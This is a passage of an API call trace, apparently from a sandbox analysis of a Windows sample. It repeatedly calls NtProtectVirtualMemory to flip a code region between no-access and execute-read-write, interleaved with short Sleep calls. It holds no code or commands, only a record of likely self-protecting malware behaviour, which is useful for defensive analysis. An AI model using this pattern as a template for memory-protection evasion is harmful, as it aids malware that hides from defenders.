OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.599] Sleep (dwMilliseconds=0x5) [0142.610] Sleep (dwMilliseconds=0x5) [0142.629] Sleep (dwMilliseconds=0x5) [0142.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.648] Sleep (dwMilliseconds=0x5) [0142.688] Sleep (dwMilliseconds=0x5) [0142.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.741] Sleep (dwMilliseconds=0x5) [0142.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.787] Sleep (dwMilliseconds=0x5) [0142.831] Sleep (dwMilliseconds=0x5) [0142.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.900] Sleep (dwMilliseconds=0x5) [0142.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.946] Sleep (dwMilliseconds=0x5) [0142.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.990] Sleep (dwMilliseconds=0x5) [0143.033] Sleep (dwMilliseconds=0x5) [0143.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.090] Sleep (dwMilliseconds=0x5) [0143.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.139] Sleep (dwMilliseconds=0x5) [0143.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.192] Sleep (dwMilliseconds=0x5) [0143.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.264] Sleep (dwMilliseconds=0x5) [0143.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.326] Sleep (dwMilliseconds=0x5) [0143.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.366] Sleep (dwMilliseconds=0x5) [0143.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.410] Sleep (dwMilliseconds=0x5) [0143.453] Sleep (dwMilliseconds=0x5) [0143.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.494] Sleep (dwMilliseconds=0x5) [0143.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.541] Sleep (dwMilliseconds=0x5) [0143.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.586] Sleep (dwMilliseconds=0x5) [0143.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.633] Sleep (dwMilliseconds=0x5) [0143.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.680] Sleep (dwMilliseconds=0x5) [0143.686] Sleep (dwMilliseconds=0x5) [0143.705] Sleep (dwMilliseconds=0x5) [0143.721] Sleep (dwMilliseconds=0x5) [0143.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.751] Sleep (dwMilliseconds=0x5) [0143.764] Sleep (dwMilliseconds=0x5) [0143.785] Sleep (dwMilliseconds=0x5) [0143.796] Sleep (dwMilliseconds=0x5) [0143.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.840] Sleep (dwMilliseconds=0x5) [0143.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0143.918] Sleep (dwMilliseconds=0x5) [0143.956] Sleep (dwMilliseconds=0x5) [0144.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.005] Sleep (dwMilliseconds=0x5) [0144.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.049] Sleep (dwMilliseconds=0x5) [0144.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.097] Sleep (dwMilliseconds=0x5) [0144.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.144] Sleep (dwMilliseconds=0x5) [0144.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.193] Sleep (dwMilliseconds=0x5) [0144.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.233] Sleep (dwMilliseconds=0x5) [0144.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.260] Sleep (dwMilliseconds=0x5) [0144.263] Sleep (dwMilliseconds=0x5) [0144.282] Sleep (dwMilliseconds=0x5) [0144.295] Sleep (dwMilliseconds=0x5) [0144.320] Sleep (dwMilliseconds=0x5) [0144.325] Sleep (dwMilliseconds=0x5) [0144.341] Sleep (dwMilliseconds=0x5) [0144.357] Sleep (dwMilliseconds=0x5) [0144.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.374] Sleep (dwMilliseconds=0x5) [0144.388] Sleep (dwMilliseconds=0x5) [0144.403] Sleep (dwMilliseconds=0x5) [0144.420] Sleep (dwMilliseconds=0x5) [0144.435] Sleep (dwMilliseconds=0x5) [0144.450] Sleep (dwMilliseconds=0x5) [0144.466] Sleep (dwMilliseconds=0x5) [0144.482] Sleep (dwMilliseconds=0x5) [0144.497] Sleep (dwMilliseconds=0x5) [0144.513] Sleep (dwMilliseconds=0x5) [0144.528] Sleep (dwMilliseconds=0x5) [0144.568] Sleep (dwMilliseconds=0x5) [0144.575] Sleep (dwMilliseconds=0x5) [0144.590] Sleep (dwMilliseconds=0x5) [0144.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.612] Sleep (dwMilliseconds=0x5) [0144.622] Sleep (dwMilliseconds=0x5) [0144.638] Sleep (dwMilliseconds=0x5) [0144.653] Sleep (dwMilliseconds=0x5) [0144.669] Sleep (dwMilliseconds=0x5) [0144.685] Sleep (dwMilliseconds=0x5) [0144.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.701] Sleep (dwMilliseconds=0x5) [0144.715] Sleep (dwMilliseconds=0x5) [0144.731] Sleep (dwMilliseconds=0x5) [0144.748] Sleep (dwMilliseconds=0x5) [0144.762] Sleep (dwMilliseconds=0x5) [0144.778] Sleep (dwMilliseconds=0x5) [0144.793] Sleep (dwMilliseconds=0x5) [0144.809] Sleep (dwMilliseconds=0x5) [0144.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.838] Sleep (dwMilliseconds=0x5) [0144.841] Sleep (dwMilliseconds=0x5) [0144.856] Sleep (dwMilliseconds=0x5) [0144.876] Sleep (dwMilliseconds=0x5) [0144.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.904] Sleep (dwMilliseconds=0x5) [0144.918] Sleep (dwMilliseconds=0x5) [0144.934] Sleep (dwMilliseconds=0x5) [0144.949] Sleep (dwMilliseconds=0x5) [0144.980] Sleep (dwMilliseconds=0x5) [0145.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.062] Sleep (dwMilliseconds=0x5) [0145.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.178] Sleep (dwMilliseconds=0x5) [0145.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.185] Sleep (dwMilliseconds=0x5) [0145.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.201] Sleep (dwMilliseconds=0x5) [0145.216] Sleep (dwMilliseconds=0x5) [0145.231] Sleep (dwMilliseconds=0x5) [0145.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.250] Sleep (dwMilliseconds=0x5) [0145.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.275] Sleep (dwMilliseconds=0x5) [0145.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.278] Sleep (dwMilliseconds=0x5) [0145.294] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.295] Sleep (dwMilliseconds=0x5) [0145.308] Sleep (dwMilliseconds=0x5) [0145.324] Sleep (dwMilliseconds=0x5) [0145.340] Sleep (dwMilliseconds=0x5) [0145.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.365] Sleep (dwMilliseconds=0x5) [0145.371] Sleep (dwMilliseconds=0x5) [0145.387] Sleep (dwMilliseconds=0x5) [0145.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.481] Sleep (dwMilliseconds=0x5) [0145.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.530] Sleep (dwMilliseconds=0x5) [0145.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.544] Sleep (dwMilliseconds=0x5) [0145.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.559] Sleep (dwMilliseconds=0x5) [0145.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.577] Sleep (dwMilliseconds=0x5) [0145.589] Sleep (dwMilliseconds=0x5) [0145.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.619] Sleep (dwMilliseconds=0x5) [0145.620] Sleep (dwMilliseconds=0x5) [0145.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.638] Sleep (dwMilliseconds=0x5) [0145.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.653] Sleep (dwMilliseconds=0x5) [0145.668] Sleep (dwMilliseconds=0x5) [0145.682] Sleep (dwMilliseconds=0x5) [0145.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.702] Sleep (dwMilliseconds=0x5) [0145.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.717] Sleep (dwMilliseconds=0x5) [0145.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.732] Sleep (dwMilliseconds=0x5) [0145.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.746] Sleep (dwMilliseconds=0x5) [0145.762] Sleep (dwMilliseconds=0x5) [0145.776] Sleep (dwMilliseconds=0x5) [0145.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.799] Sleep (dwMilliseconds=0x5) [0145.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.856] Sleep (dwMilliseconds=0x5) [0145.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.921] Sleep (dwMilliseconds=0x5) [0145.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.938] Sleep (dwMilliseconds=0x5) [0145.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0145.949] Sleep (dwMilliseconds=0x5) [0145.964] Sleep (dwMilliseconds=0x5) [0145.979] Sleep (dwMilliseconds=0x5) [0145.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.005] Sleep (dwMilliseconds=0x5) [0146.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.013] Sleep (dwMilliseconds=0x5) [0146.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.027] Sleep (dwMilliseconds=0x5) [0146.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: 